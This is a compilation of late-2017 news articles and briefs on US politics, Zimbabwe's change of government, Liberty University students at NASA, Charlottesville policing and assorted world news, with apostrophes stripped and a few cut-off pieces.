Even though some people might see a divide between Christianity and science, especially the science of space, Russell said hes thought a lot about how his faith actually ties into what he worked on over the summer.

I think that a lot of Christians will look at science and they will think that anything that comes out of science or anything that a scientist says, if thats coming from a naturalistic background, then it has to be ignored. They cant integrate that well, he said. I dont think thats true. I think that if were just looking at the actual observations that we see in the universe and some of the conclusions we can draw from that, I dont feel like theres a disconnect.

The idea of a big bang as the origin of the universe, for instance, has scientific backing, he said. Some Christians reject the idea because they think it means God couldnt have created the universe. Russell doesnt agree.

I think a lot of Christians dont realize that that same thing that leads scientists to think there must be a big bang also indicates that at some point there must have been a beginning.  Something had to happen, he said.

His explanation for that is God.

***

For junior Madison Melton, faith has also played a role in her job with NASA. Her mentor, who she has been in contact with since she first applied to the program two years ago, is a Christian, and they have bonded over their faith. He also has been supportive and helpful enough to make Meltons transition into working at NASA seamless.

Still, it can feel surreal.

I never thought that I would be 18 and having an internship at NASA. That is beyond belief, she said.

Because she had so many course credits from high school, Melton is younger than most juniors. When she started at Liberty, she was already a sophomore in the electrical engineering program.

The internship was a long time coming. She originally applied to work at NASA during the summer of 2016, but didnt get an offer. She applied again, and got an offer for last summer, but the paperwork didnt go through. Her professors encouraged her to pursue the internship this fall, which she was apprehensive about. Shes working and going to school full time.

But balancing the two is not too bad, Melton said. I love being here. I wouldnt want to be anywhere else.

Unlike Russell, Melton isnt anticipating a far-off mission. Instead, she sees rockets launch on a regular basis for her job.

At Kennedy, rockets launch everything from weather monitoring tools to satellites that expand cable television access. Meltons job is to monitor data coming off the rocket as it prepares to launch. She calls it watching the data flow. This data can include status updates, voltages and amp readings. And Melton loves every second.

I love just being there when it launches, she said. You get to go outside and watch it launch from even a mile away, and that was so powerful, and I just loved to watch that. You get to feel all of the vibrations from the loud power that the rocket was putting off, and its very moving.

One of Meltons biggest hopes is that more women can have experiences like hers. Right now at NASA, there are a lot of men, she said. But theres a growing population of women, and women engineers are respected.

I just really want to say that girls are really needed in the engineering field, and dont ever get put down because youre a girl, she said. I know in the engineering field theres a lot more guys, but girls are definitely needed in this field. Dont ever not believe in yourself. You can do anything you want to do.
Secretary of Housing and Urban Development Ben Carson was named Tuesday as graduation speaker for the Liberty University College of Osteopathic Medicines first graduating class May 19.

His medical accomplishments and professional achievements as well as humble personality are qualities of a true leader. I have no doubt his message to the inaugural class will be one of great inspiration, LUCOM Dean Dr. Peter Bell said in an LU news release Tuesday.

Carson spoke at LU convocations in March 2012 and November 2015, when he also toured Libertys Center for Medical and Health Sciences. A graduate of Yale University and the University of Michigan Medical School, Carson became director of pediatric neurosurgery at Johns Hopkins Childrens Center at 33 in 1984, making him the youngest director in the hospitals history. He held the post until his retirement in 2013.

In 1987, Carson and his team performed the first successful surgery to remove type-2 conjoined twins. In 2008, he received the Presidential Medal of Freedom. Carson has received more than 60 honorary degrees and written hundreds of articles on advancements in neurology.

The Liberty community greatly respects Dr. Carson, and he told me in person recently how excited he is about addressing our graduates, LU President Jerry Falwell said in the release.
The Lynchburg Police Department is seeking the publics help in identifying suspects in a number of cases of fraud in the area.

Victims contacted the police to report larcenies of credit cards and checks from vehicles between Dec. 12 and 16, according to a news release from LPD. Some of those victims said those cards or checks were used in Lynchburg or North Carolina.

While investigating the case, detectives got photos of suspects from local stores where some of the stolen cards were used. According to the release, the suspects were involved with other similar incidents in other areas, and LPD is working with those localities.

Anyone with information on these incidents is asked to call Detective Duncan at (434) 455-6178 or contact Central Virginia Crime Stoppers by calling 1-888-798-5900, visiting www.cvcrimestopper.org or texting CVCS and a message to 274637.
CHARLOTTESVILLE  Embattled Charlottesville Police Chief Al Thomas announced Monday that he has retired, effective immediately, after serving in the role for about 18 months.

His announcement comes two weeks after a highly critical report of the citys handling of a violent white nationalist rally Aug. 12 that left one dead and 35 injured after a car attack.

When questioned during a public hearing at the start of the Charlottesville City Councils meeting Monday, City Manager Maurice Jones said Thomas volunteered to step down from the position.

Jones will formally appoint an interim police chief in the next week, according to a news release from the city. Until that time, Deputy Chief Gary Pleasants will lead the department.

The search for a new police chief will begin immediately.

Thomas was sworn in as chief on May 23, 2016. He took over after Timothy J. Longo retired.

Prior to Charlottesville, Thomas served as chief of police for the city of Lexington.

Nothing in my career has brought me more pride than serving as the police chief for the city of Charlottesville, Thomas said in the news release. I will be forever grateful for having had the opportunity to protect and serve a community I love so dearly. It truly has been an unparalleled privilege to work alongside such a dedicated and professional team of public servants. I wish them and the citizens of Charlottesville the very best.

Thomas departure comes on the heels of an independent review of the citys handling of a series of events this year, including the deadly Aug. 12 rally. The review, released Dec. 1, found several missteps on city officials part, Thomas included.

The report, commissioned by the city and conducted by former U.S. Attorney Timothy Heaphy, found that police did not adequately plan for the event despite ample intelligence suggesting a major threat.

The review also concluded that Thomas attempted to obstruct the review  by, among other things, creating fake planning documents and deleting relevant text messages  and that he intentionally allowed the fighting on the morning of the rally so that an unlawful assembly could be declared.

Thomas has denied the charges and said he looked forward to implementing the reviews recommendations for improvement.

Attorney and civil rights activist Jeff Fogel, who has feuded in the past with Thomas and other police officials over alleged police misconduct, said he wants more of an explanation for the abrupt retirement in light of unresolved questions about how the August rally was handled.

I would like to ask him if he was forced out. I think we deserve an explanation of what happened on Aug. 12, Fogel said in an interview Monday. Its important for the police department and the city to move forward knowing what actually happened. Im concerned the city is not going to say anything if they can avoid it.

Fogel said he also thinks elected city officials and other community members who are well-connected to their state counterparts should push to hold Virginia State Polices Col. W. Steven Flaherty accountable for the failure to protect the public from the violence that erupted during the August rally.

They should be pushing for the removal of Flaherty, but they wont. Everyones a chicken. Theyre all afraid of something  I dont know what, Fogel said.

During Mondays council meeting, several people spoke about Thomas and raised questions over the reports about how city and state officials handled rallies over the summer.

There are still questions that have yet to be answered.  Are we close to a resolution? Hopefully it isnt the immediate retirement of the chief, said Janette Martin, president of the Albemarle-Charlottesville NAACP.

M. Rick Turner, the past president for the local NAACP branch, implored the council to not make Pleasants the interim chief or the new police chief.

According to the report from Heaphys law firm, Hunton & Williams, Pleasants was not authorized to order state troopers in July to use tear gas on people who started to yell at the police after protesting a Ku Klux Klan rally in Charlottesville that had just ended.

Pleasants, according to the report, told other officers after the incident: Damn right I gassed them.

You cant hire that man, Turner said. He would be the worst police chief in the country.

Invited to comment after the public hearing period was already over, Councilwoman-elect Nikuyah Walker also lambasted the city and Thomas.

To tell us that he resigned voluntarily and expect us to believe that is unacceptable, Walker said.

The only person being held accountable is a black man? There needs to be a whole list of people who need to be held accountable, she said.

In Mondays news release, the city manager praised Thomas for his service to the public.

Chief Thomas has served his country and three communities here in Virginia with distinction and honor, Jones said. He is a man of integrity who has provided critical leadership for our department since his arrival. We wish him all the best in his future endeavors.

In an email, Mayor Mike Signer declined to elaborate much further on Thomas departure.

I dont have anything to add to Mr. Jones statement, other than I hope he will engage in a robust, nationwide search for Chief Thomas successor, Signer said.
Why, I am often asked, do media cover President Trump so much? For one thing, the answer is in the question: Hes the president. Presidents get covered a lot because what they say  even coughs, sneezes and harrumphs  matters. More important, this president offers us an abundance of stuff to talk about.

Much of that talk of late has zoomed in on whether the president is coming unglued.

Speculation has run vigorously through mainstream media in recent days that President Trump lately has been behaving and speaking strangely, even for President Trump.

A recent report in The New York Times, for example, said that shortly before his inauguration, Trump told a Republican senator that he wanted to investigate the Access Hollywood recording that had him boasting about grabbing womens genitals. Even though he formally apologized for it last year, the Times quotes three unnamed people close to the president as saying Trump has continued to suggest that the voice on the tape was not actually his. He needs to make up his mind.

Other sources cited by the Times say the president continues to boast of winning districts that he did not in fact win and that he claims a majority of the womens vote, even though he actually won less than half. He has even clung to his doubts, says the Times, of the authenticity of former president Barack Obamas birth certificate, despite his announcement to the contrary last year after five years of promoting the bizarre conspiracy theory.

More recently the worst job in Washington continues to be the translation of Trumps odd outbursts to make him sound like he really knows what hes doing. That task fell on White House press secretary Sarah Huckabee Sanders on Thursday when she was asked about the presidents retweeting of three inflammatory anti-Muslim videos from Britain First, a far-right extremist group that targets mosques and Muslims.

Did the president think his retweets, which were rebuked by British Prime Minister Theresa May, had served to elevate the conversation about the issues of extreme violence and terrorism? Sanders was asked.

I think what hes done is elevate the conversation to talk about a real issue and a real threat, she said. Thats extreme violence and extreme terrorism, something that we know to be very real and something the president feels strongly about talking about and bringing up.

If Trumps remarks are his idea of elevation, to borrow an old blues lyric, weve sunk so low in his mind that bottom looks like up.

Is Trump losing touch with reality? My initial reaction to that question was a lot like Dorothy Parkers response to news that former president Calvin Coolidge had died: How can they tell?

Every time I think Trump has gone off the deep end, he manages to pull himself back by saying something sensible, even if such moments dont last long enough to make me completely comfortable with, for example, his access to the nuclear codes.

But maybe keeping us on edge is precisely what he wants. He likes to keep his critics and often his allies off-balance, not quite knowing what to expect from him next. Chaos candidate is how one of his opponents branded him during the Republican primaries. He seems to wear the tag of chaos president with a smirking pride.

We have long been accustomed to Trumps freewheeling use of alternative facts, as another of his spokeswomen, Kellyanne Conway, famously declared. He also has been accused by various critics of gaslighting, a term borrowed from an old stage play and two movies called Gas Light, to describe the manipulation of others to sow seeds of doubt about their own memory or sanity.

Could Trump be practicing a version of that on his fellow Americans? As bizarre as Trumps headline-making tweets and verbal outbursts may be, they also drew attention away from the debate in Congress over a Republican tax bill that, according to some experts, falls way short of keeping Trumps promises to spare the middle class while raising taxes on the rich.

Im sure Trump gets a kick out of being the chaos president. It pleases his conservative base to see him gaslight those of us who care about such quaint qualities as facts and consistency. Our challenge as his larger audience is to keep an eye on him without flattering his already-inflated ego  and without sounding as crazy as he too often does.

Page is a Chicago Tribune columnist. Email him at cpage@chicagotribune.com.
I do not want to be emotive, if we want to make progress scratch section 64 (Statutory Instrument 64 of 2016), lower the cost of food to the consumers by importing as much from South Africa, open up Belmount and Graniteside as Special Economic Zones, get new equipment, get everyone employed, start exporting Nike quality shoes to the global market from Zimbabwe (for an example), and you will never be poor again in Zimbabwe, he said.
At least eight more Zanu-PF Members of Parliament are set to be ejected from Parliament after the ruling partys Extraordinary Congress held last Friday adopted a Central Committee report recommending their expulsion, together with 12 other party members.



The 20 Zanu-PF members were part of the G40 cabal that was causing chaos and instability in Zanu-PF before the Zimbabwe Defence Forces moved in to pacify the situation under Operation Restore Legacy.



The adoption of the Central Committee report recommending their expulsion signalled the end of their stint as legislators, as it meant they were no longer representing the interests of the revolutionary party under whose ticket they were elected into Parliament.





The following members of the G40 cabal who had, through their nefarious activities destroyed the legacy of His Excellency the President Cde Robert Gabriel Mugabe be and are hereby expelled from the Party, read the minutes of the Central Committee report.





The eight are Messrs Paul Chimedza (Gutu South), Shadreck Mashayamombe (Harare South), Samuel Undenge (Chimanimani East), Makhosini Hlongwane (Mberengwa East), Sarah Mahoka (Hurungwe East), Walter Mzembi (Masvingo South) Anastacia Ndlovu (Proportionate Representative) and Eunice Sandi Moyo (Senator).





Their pending expulsion from Parliament is in terms of Section 129 (1) of the Constitution.

Section 129 (1) provides as follows: The seat of a Member of Parliament becomes vacant if the member has ceased to belong to the political party of which he or she was a member when elected to Parliament and the political party concerned, by written notice to the Speaker or the President of the Senate, as the case may be, has declared that the member has ceased to belong to it.





Five other MPs from Zanu-PF were expelled from Parliament last month after Zanu-PF wrote to the Speaker of the National Assembly that they were no longer representing the partys interests in Parliament.

They are Messrs Saviour Kasukuwere (Mount Darwin South), Kudzanai Chipanga (Makoni West), Ignatius Chombo (Zvimba North), Jonathan Moyo (Tsholotsho North) and Mandiitawepi Chimene (Mutasa South).





Zanu-PFs Extraordinary Congress also adopted the expulsion of other party members who were part of the G40 cabal. They are Mrs Grace Mugabe, who was the ruling partys secretary for Womens League, Mr Phelekezela Mphoko (Zanu-PF Second Secretary) Mrs Letina Undenge (secretary for administration for Womens League), Mr Innocent Hamandishe (Zanu-PF Youth League national commissar), Mr Mpehlabayo Malinga (Zanu-PF Youth League deputy national secretary) and Mr Xavier Kazizi (Zanu-PF Youth League acting secretary for administration.





That Cde Phelekezela Mphoko be and is hereby recalled from the position of Vice President and Second Secretary of Zanu-PF for being divisive, a member of the G40 cabal, tribalism, protecting criminals, preaching hate speech and behaving in a manner inconsistent with the office and decorum of the office as VP, reads the Central Committee report.





That Cde Grace Mugabe be and is hereby recalled from the position of Secretary for the Womens League of Zanu-PF for promoting hate speech, divisiveness and assuming roles and powers not delegated to her office. Herald
Former Higher and Tertiary Education minister Jonathan Moyo has revealed that he was saved by former president Robert Mugabe and his wife Grace as the army bayed for his blood.



Taking to his favourite Twitter account, Moyo posted pictures of his Borrowdale mansion whose floors were blood-stained. He wrote: Special thanks to president Mugabe and Amai Dr Mugabe for saving us when the Junta tried to kill us on 15 Nov.



This was in reference to the day the Zimbabwe Defence Forces (ZDF) stepped in to arrest criminals around Mugabe. Moyo, along with former Local Government minister Saviour Kasukuwere and his Finance counterpart Ignatius Chombo are viewed by the new Emmerson Mnangagwa government as the worst criminals around Mugabe that must be brought to book.



Chombo is currently out on bail, facing charges of criminal abuse of office. In his latest post, Moyo bade his Twitter followers goodbye, claiming a major project that he is working on will keep him away from the micro blogging site.



Ive major offline work to do away from online streets. Thanks for your prayers. Kwaheri. Ill be back, not in three weeks & not to do a coup or any violence. Asante sana (thank you)! Moyo tweeted.



Kwaheri is a Swahili word which means go well. The word was popularised in Zimbabwe by one Nathaniel Manheru, a shadowy columnist who used to write in one of the State-owned dailies.



The writer of the column was recently revealed to be George Charamba, the permanent secretary in the ministry of Information, Media and Broadcasting Services.

Moyo has been active on social media since he went into self-imposed exile, criticising the way Mugabe was forced out, including his subsequent replacement with Mnangagwa.



What would you do if you and your family survived a 2am, 15 minute ZDF attack on your house with seven children one of them 12 years old, by 25 SAS snipers with semi-automatic weapons; randomly firing tracer bullets and stun grenades? Is this the New Justice? New Dawn? New Era? New Zim? reads an earlier Twitter post by Moyo.



During the military operation, several Zanu PF officials perceived as allies of Mugabe were captured, including Chombo.



Moyo, Kasukuwere and Chombos homes were riddled with damages from gunshots.

Human rights defenders have raised concerns over the conduct by the army in certain instances during Operation Restore Legacy saying it was out of sync with the upholding of human rights.



There has been speculation during the military takeover that Moyo and Kasukuwere had to seek refuge at the Mugabes blue roof mansion in Borrowdale.



Pictures of the two in a plane surfaced as Mugabe resigned, with suspicions that the release of the two might have been part of the 93-year-olds exit agreement. Daily News
PRESIDENT Emmerson Mnangagwa has condemned unjustified price hikes by some business dealers saying such actions cannot be allowed to continue.



Addressing delegates attending the 6th Buy Zimbabwe Annual Awards at a Harare hotel last night, President Mnangagwa said no to such counter-economic practices.



He said business should complement Government efforts to revive the economy by refraining from counter-productive measures like selling cash and use of a multi-tier pricing system.





Government notes with concern the existence of a multi-tier pricing system and this cannot go unabated, he said.





We need to examine our modus operandi as captains of industry and commerce if we are ever going to move forward. There are some dealers, suppliers and business owners who are in the habit of increasing prices willy-nilly without proper justification, let me hasten to say my Government says no to such counter-economic practices.





I urge our wholesalers and retailers, as we approach this festive season, to refrain from profiteering by charging unscrupulous prices and never to put measures that may derail our efforts for a quick turnaround of the economy. Government wants to protect the rights of the consumers and ensure that its citizenry is not short changed or duped by unscrupulous dealers.





Our people need a decent festive season where they can make and enjoy their holidays.

President Mnangagwa said Government was also implementing sweeping measures to address the prevailing liquidity crunch. He said such measures included import management strategies and export expansionary policies in line the with the recent budget statement by Finance and Economic Planning Minister Cde Patrick Chinamasa.

We need to keep money inside the country to avert the liquidity crisis and reduce company closures in the context of limited foreign direct investment, said President Mnangagwa.





The cash shortages have negatively impacted on effective demand. Government is doing all in its power to address the anomaly, among other things the proposed domestic procurement index which will require retailers to cut down on imports and increase purchases of local products.





President Mnangagwa reiterated that individuals and corporates who illegally extenalised funds and assets must to return them before by end of the three month moratorium with no questions and or charges leveled against them.





For those who might choose to ignore his call he warned that: I think you all know my background.





President Mnangagwa also spoke highly on industrialisation saying Government was doing everything to support the local industry. Government is doing everything possible to revive the economy through enactment of laws and policies that support local producers and linking them to retailers, consumers and other relevant stakeholders.





Amongst some of these measures are the Cotton Pricing Model, Cotton to Clothing Value Chain, Industrial Development Fund, Leather and Leather Products Strategy and the National Competitiveness Bill. Buy Zimbabwe efforts through its annual Buy Zimbabwe Awards should be should be applauded.





The campaign seeks to actively promote home-grown products for the domestic and global markets. I also urge the relevant stakeholders and individuals to complement Government strides than engaging in illegal counter measures such as cash selling, cash hoarding, multi-tier pricing, extra commission pricing, forex dealing, funds externalisation and other money laundering activities.





President Mnangagwa said Zimbabwe should now reclaim its position as the jewel of Africa and its economic growth should be hinged on the ability to meet global standards.





The Buy Zimbabwe Awards chairman Sebastain Zuze said the awards were benchmarked on four key aspects that include economic growth, job creation, capability to produce quality products and sustainability of operations. Some of the companies that walked away with the prestigious awards include Nestle Zimbabwe, Nyaradzo Group, Zimplats and World Gas, among others. Herald
Idaho Cops:

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Could Be a Threat

to the Community
What do you call somebody who publicly leads a campaign against corruption while privately buying the most expensive things in the world for himself? In Saudi Arabia, the answer to that question is Crown Prince Mohammed bin Salman, per a New York Times investigation that exposes the 32-year-old king-in-waiting as the buyer of a mansion in France that became known as the world's most expensive home after it was sold for more than $300 million in 2015. The Times traced ownership of the Chateau Louis XIV, which was completed in 2011 on the former site of a castle, to the prince through a network of shell companies that led back to a firm managed by the chief of the prince's personal foundation.

The prince also acquired a $500 million yacht as an "impulse buy" in 2015, and a Saudi buyer who paid a record $450 million for a Leonardo da Vinci painting last month is believed to have been acting for the prince. In Riyadh, meanwhile, dozens of businessmen and other prominent citizens accused of corruption are being detained in the Ritz-Carlton hotel. The prince "has tried to build an image of himself ... that he is different, that he's a reformer, at least a social reformer, and that he's not corrupt," former CIA analyst Bruce Riedel tells the Times. "And this is a severe blow to that image." The Saudi government declined to comment on the Times report, though a spokeswoman for the country's embassy in the US accused the paper's journalists of serving a "personal agenda," the BBC reports. (Read more Saudi Arabia stories.)
Twitter suspended three accounts belonging to a far-right group in Britain on Monday, a development that might not have made headlines if not for the group's connection to President Trump. Last month, the president set off a controversy when he retweeted three anti-Muslim videos posted by Jayda Fransen of the anti-immigration group Britain First. Fransen boasted of Trump's retweets at the time, but she won't be able to post anything new for a while: Her account and at least two others linked to her group are now suspended, reports CNN.

Twitter says it will not comment about decisions made regarding particular accounts, per the BBC, but the move comes just as the site announced that it was enforcing new rules to curb "hateful conduct and abusive behavior." It's not clear whether the Britain First accounts will be allowed to resurface. "If an account's profile information includes a violent threat or multiple slurs, epithets, racist or sexist tropes, incites fear, or reduces someone to less than human, it will be permanently suspended," reads a company post. The crackdown is part of Twitter's move to rein in what it sees as abusive content in the wake of the violence in Charlottesville, Va., notes the Washington Post. (Read more Twitter stories.)
Sarah Palin's oldest son, Track, has been arraigned on charges that he assaulted his father at the family's home in Alaska, the AP reports. Police were called to the home Saturday night after Sarah Palin, the former Alaska governor and 2008 Republican vice presidential nominee, told police her son was "freaking out" and on some type of medication, according to an affidavit by Wasilla Police Officer Adam LaPointe. The affidavit states that Todd Palin was bleeding from cuts on his head. He told police the dispute began when Track Palin, 28, called to retrieve his truck. Todd Palin said he told Track not to come but that his son said he would come anyway to beat him up. Todd Palin told police he got his pistol "to protect his family." Track Palin told police he broke a window, disarmed his father, and put him on the ground.

Track Palin yelled at officers, calling them peasants, and "moved around in a strange manner" before being arrested without incident, the affidavit states. Track Palin told police he "consumed a few beers earlier." Track Palin was arraigned Sunday on domestic violence-related charges of burglary and assault. He is scheduled for a preliminary hearing next week. This is the second time in two years that Track Palin has been arrested in a domestic violence case. In 2016, he was suspected of punching his girlfriend, who then became concerned that he was going to shoot himself with a rifle, court documents said. Sarah Palin indicated when her son was first accused of domestic violence in 2016 that post-traumatic stress disorder might have been a factor. Track Palin served in Iraq for a year in 2008.

(Read more Sarah Palin stories.)
A federal judge is ordering President Donald Trump's administration to allow two pregnant immigrant teenagers in US custody to obtain abortions, the AP reports. Judge Tanya Chutkan said in an order Monday that the administration can't prevent the 17-year-old girls from exercising their right to an abortion. The judge is giving the administration 24 hours to try to persuade a higher court to block her order.

Both girls arrived in the country as unaccompanied minors and are being held in federal shelters, though it is not known precisely where. The American Civil Liberties Union went to court on behalf of the girls. The situation is similar to that of a third 17-year-old girl who was able to obtain an abortion in October, following a high-profile court fight.

(Read more Donald Trump stories.)
Disney World's revamped Hall of Presidents is set to reopen Tuesday, with Barack Obama shifted to the side and a new robot with an extra-long tie center stage. The animatronic President Trump figure, which stands between Abraham Lincoln and Ulysses Grant, moves its hands as it recites dialogue Trump recorded for the Florida attraction earlier this year, the Orlando Sentinel reports. "Above all, to be American is to be an optimistto believe that we can always do betterand that the best days of our great nation are still ahead of us," says the robo-Trump. The attraction has featured a speech from every sitting president since Bill Clinton.

The attraction, which made its debut in 1971 and features all 45 presidents, had been closed since a few days before Trump's inauguration for refurbishing, the New York Times reports. When Disney said it wouldn't reopen in late June as originally scheduled, there was speculation that Trump had been omitted or at least denied a speech, as a 15,000-signature demanded. Reviews from visitors who got a preview of the animatronic Trump on Monday were mixed, with those who voted for the flesh-and-blood Trump most impressed by the robotic version. On social media, meanwhile, some called the figure "creepy," while others said it looks a lot more like Jon Voight than the president, People reports. (Read more Disney World stories.)
Mike Pence is "committed to seeing the tax cut through to the finish line"so committed, in fact, that he'll delay a trip to the Middle East, his press secretary announced Monday. The vice president was to travel Tuesday to Egypt and Israel but will now depart on Jan. 14, according to White House officials. They say protests in the region regarding President Trump's recognition of Jerusalem as Israel's capital had no impact on the decision, reports CNN. Rather, Pence plans to be on hand for the Senate vote on the GOP tax bill late Tuesday or early Wednesday in case he needs to break a tiea plausible scenario as Republican Sen. John McCain could be absent while undergoing cancer treatment.

An official tells the New York Times that Pence already delayed the trip once in anticipation of the vote. As of last week, he was expected to depart Tuesday and meet with Egyptian President Abdel Fattah el-Sisi on Wednesday before traveling to Israel, with a stop at Jerusalem's Western Wall, reports CBS News. If Pence were to depart after the vote, each eventincluding meetings with Israeli Prime Minister Benjamin Netanyahu and Israeli President Reuven Rivlinwould need to be pushed back. It's unclear if the delay will allow Pence to reschedule a meeting with Palestinian President Mahmoud Abbas, who canceled in the wake of the US recognition of Jerusalem as Israel's capital. (Read more Mike Pence stories.)
A former Marine deported to Mexico 15 years ago after he was convicted of a minor offense has won his fight to return to the United States and regain his permanent US residency. Marco Chavez tells the AP that he's looking forward to reuniting with his three sons in Iowa after missing their childhoods. He is now 45, and they range in age from 17 to 21. "One of the things I wanted to let my kids know is they did have a father and I did not plan to leave them," says Chavez, who has been living in the border city of Tijuana. An immigration judge's ruling last month is allowing Chavez's return. It came after California Gov. Jerry Brown pardoned Chavez. He was convicted in 1998 of animal cruelty for a dog beating but said another person was responsible.

He was sentenced to two years in state prison, released after 15 months because of good behavior, and later deported. Brown said Chavez "served our country, earned a pardon, and deserves to come back home." Chavez was a baby when his parents took him to the United States. He served four years in the Marine Corps and was honorably discharged. After being deported in 2002, he had to learn Spanish and find work in a land that was foreign to him. His wife initially moved to Tijuana with their sons so they could all be together, but life was too hard for the family in the violence-plagued border city. The couple divorced and she moved to Iowa with their children. Chavez last saw his sons when they visited him in Tijuana in 2013.

(Read more deportation stories.)
Friends balking at rumors of a murder-suicide are seizing on new details about the deaths of Canadian pharmaceutical billionaire Barry Sherman and his wife, Honey. Sources tell the Toronto Sun that the two were found hanging side by side on a railing near an indoor pool in their Toronto mansion with men's leather belts wrapped around their necks and jackets rolled down over their arms and pulled "behind their backs." Police, who've suggested the 75-year-old Apotex founder may have killed his 70-year-old wife before hanging himself, also note Honey's body could've been moved from another room to the pool area, where a security camera may have been disconnected. But a friend who's lived next to the couple for 15 years says Sherman physically couldn't "pick her up and put her on a railing."

"I think it was a murder," he tells the Sun. Another long-time friend tells the CBC that the couple "had everything in life to be looking forward to." In addition to an upcoming trip to Florida, they were to attend their daughter's wedding in the spring. Another daughter had just given them a new grandchild, the friend says, adding the couple who died of ligature neck compression "were madly in love with each other. They still walked hand-in-hand." Police initially said they weren't seeking any suspects as they had found no sign of forced entry to the home. They've since asked a neighbor for security footage and will likely check the couple's cellphones for clues as they await toxicology reports, which could take weeks, per the Toronto Star. A funeral for the Shermans is scheduled for Thursday near Toronto. (Read more Barry Sherman stories.)
It's an egg-on-your-face story out of Britain, where the $4 billion spent on a new aircraft carrier was apparently not enough to eliminate all leaks. The BBC reports the HMS Queen Elizabeth was found to be taking on as much as 50 gallons of water an hour due to a faulty shaft seal. The Royal Navy ship was commissioned in early December, and the issue surfaced during sea trials. Though the BBC's defense correspondent calls it a "highly embarrassing" development, the repair will not delay the sea trials schedule, says a rep for the Royal Navy, which believes the repair can occur while the ship is in the water.

Though one naval officer allows that it's an embarrassing development, "in reality [it's] no big deal. You expect to take some water in when you're operating a warship at sea." The Press Association describes the aircraft carrier, the first of a new generation of them for the UK, as "the biggest and most powerful" the country has built; it's expected to have a 50-year working life. The Telegraph has the defense secretary's characterization of the ship: "the most magnificent aircraft carrier in the world. ... She is going to make a significant difference as to what we can actually achieve and what we are able to do as a global power." (Read more aircraft carrier stories.)
News that a 22-year-old woman was mauled to death by her two pit bulls in Virginia Thursday night was met with sadnessand plenty of doubt. Amid a sea of cries that the dogs would not have harmed Bethany Lynn Stephens, and perhaps were indeed trying to protect her from an attacker, Goochland County Sheriff James Agnew says he received Stephens' family's permission to reveal some of the more stomach-turning details that had been withheld out of sensitivity for them in order to put to rest the speculation.

"Let me cut right to the chase," said Agnew at a Monday press conference. "The most important detail that we did not release ... is that in the course of trying to capture the dogs early Friday morning ... we turned and looked ... I observed, as well as four other deputy sheriffs, the dogs eating the ribcage on the body."

As for reports that there was a threatening figure in Stephens' life, Agnew said that after constructing a timeline and confirming people's movements, "they don't fit with that particular narrative." No strangulation marks were noted on her body and she was not sexually assaulted; forensic tests are ongoing, WTVR reports. Agnew also addressed the theory that she was perhaps attacked by a bear, saying the bites didn't puncture her skull, as would be the case with a bear. Sgt. Mike Blackwood added that the formerly indoor dogs were a "little bit neglected towards the end of this" in that Stephens left them in an outdoor kennel at her father's place, visiting them once every day or so, and they became more isolated. Though the Richmond Times-Dispatch notes a Change.org petition asking that the dogs be spared got nearly 17,000 signatures, they were euthanized Saturday. (Read more pit bull stories.)
In unveiling a new US national security strategy Monday, President Trump called out China and Russia as "attempting to erode American security and prosperity," and he outlined myriad waysweapons development, intellectual property theft, dumping money into the developing worldin which he sees them doing that, per the BBC. The two responded by expressing their displeasure. "We urge the United States to stop deliberately distorting China's strategic intentions and abandon a Cold War mentality," said a Foreign Ministry rep. "Otherwise it will injure others and damage itself." The Chinese Embassy in Washington chimed in with this: "It is selfish to put your national interest above other countries' interest and the mutual interest of the international community. The United States should also adapt and accept China's development."

A rep for Vladimir Putin did highlight a shared interest in cooperation "in areas which are beneficial for us" but said the document had a "clearly imperial nature" and remained fixated on the idea of a "unipolar world," reports ABC News. The AP notes Trump didn't just take a swing at China, but poked it, too, by reiterating ties with Taiwan. The document also promised to "re-energize our alliances" with Southeast Asian governments like those in the Philippines and Vietnam, which have gone head-to-head with China over claims to parts of the South China Sea. (Read more President Trump stories.)
A 92-year-old hunter in Virginia had to spend a frigid night in the woods, but he's safe now thanks to quick work by a drone. Bill McDonnell went out hunting Saturday in Shenandoah County, and his family notified authorities when he hadn't emerged from the woods by that evening, reports the Washington Post. Rescuers had a general sense of where he was thanks to a phone call he'd made to his family, but a search involving helicopters and foot patrols proved fruitless through the night. Enter the Loudoun County Sheriff's Office, whose search-and-rescue team arrived on the scene Sunday morning, dispatched a relatively new drone at 9:30am, and located McDonnell a mere 20 minutes later. Rescuers on foot then found him and escorted him back to safety, and he's fine.

"All of a sudden it got dark on me," he explains. "I couldnt see my hands in front of my face. I couldn't go forwards, I couldn't go backwards, I couldn't go left, I couldn't go right or any place. It was worse than the jungle." As WJLA notes, McDonnell is a World War II vet who spent his share of nights sleeping outside during the war. Temperatures dipped into the 20s Saturday night, but McDonnell had dressed warmly, packed food, and made himself a bed in twigs and leaves. He adds that his son made him promise not to go hunting alone anymore. The Post provides another nugget: The drone is just the sixth in the nation that flies in the Project Lifesaver programit has a special antenna designed to locate people with medical conditions such as Alzheimer's who are wearing a specific wristband. In this case, however, McDonnell wasn't a participant in that program. (A study pitted drones against ambulances, and there was a clear winner.)
The Saudi-led coalition fighting Yemen's Shiite rebels said it intercepted a missile fired over southern Riyadh on Tuesday, which the rebels said was targeting a leadership meeting at the royal palace in the kingdom's capital, Riyadh. It was the second time in as many months that a rebel projectile had reached as far inside the kingdom as Riyadh, per the AP. The Yemeni rebels, known as the Houthis, said they launched a ballistic missile to target Yamama Palace in Riyadh, where King Salman chairs weekly government meetings and receives dignitaries and heads of state from around the world. Saudi State TV said no damage was caused by the intercepted missile. Residents of Riyadh posted videos on social media showing a small cloud of smoke in the sky after hearing a loud explosion.

The coalition later said the missile launch proved the "continued involvement" of Iran in supporting the Houthis." It also repeated its claim that the rebels use "relief work outlets" to smuggle such missiles inside Yemen to target the kingdom. In a televised address, rebel leader Abdul-Malik al-Houthi said the range of missiles in the Houthi arsenal was being extended. "Our long hand will reach other places, God willing," he said. The US ambassador to the United Nations, Nikki Haley, last week displayed what she said was "undeniable" evidence that Iran was supplying the Houthis with missiles. Iran rejected the allegations and has repeatedly denied arming the rebels. The Houthis say their missiles are produced in Yemen.

(Read more Saudi Arabia stories.)
When House Republicans vote on their tax plan for a second time Wednesday, it's likely that 12 of their own lawmakers will be joining Democrats in voting no. The House passed the measure 227-203 on Tuesday, but some parliamentary logistics mean they'll have to do it again on Wednesday. In Tuesday's vote, 12 Republicans voted no, reports CNN. As Bloomberg explains, names from New York, New Jersey, and California (though only two from the latter) are on the list because legislators in those high-tax states oppose a $10,000 cap on state and local deductions for their constituents. The other lawmaker, Walter Jones of North Carolina, is worried about the plan's effect on the national debt. Here are the 12 that GOP leaders were unable to sway:

Rep. Dan Donovan, New York

Rep. John Faso, New York

Rep. Rodney Frelinghuysen, New Jersey

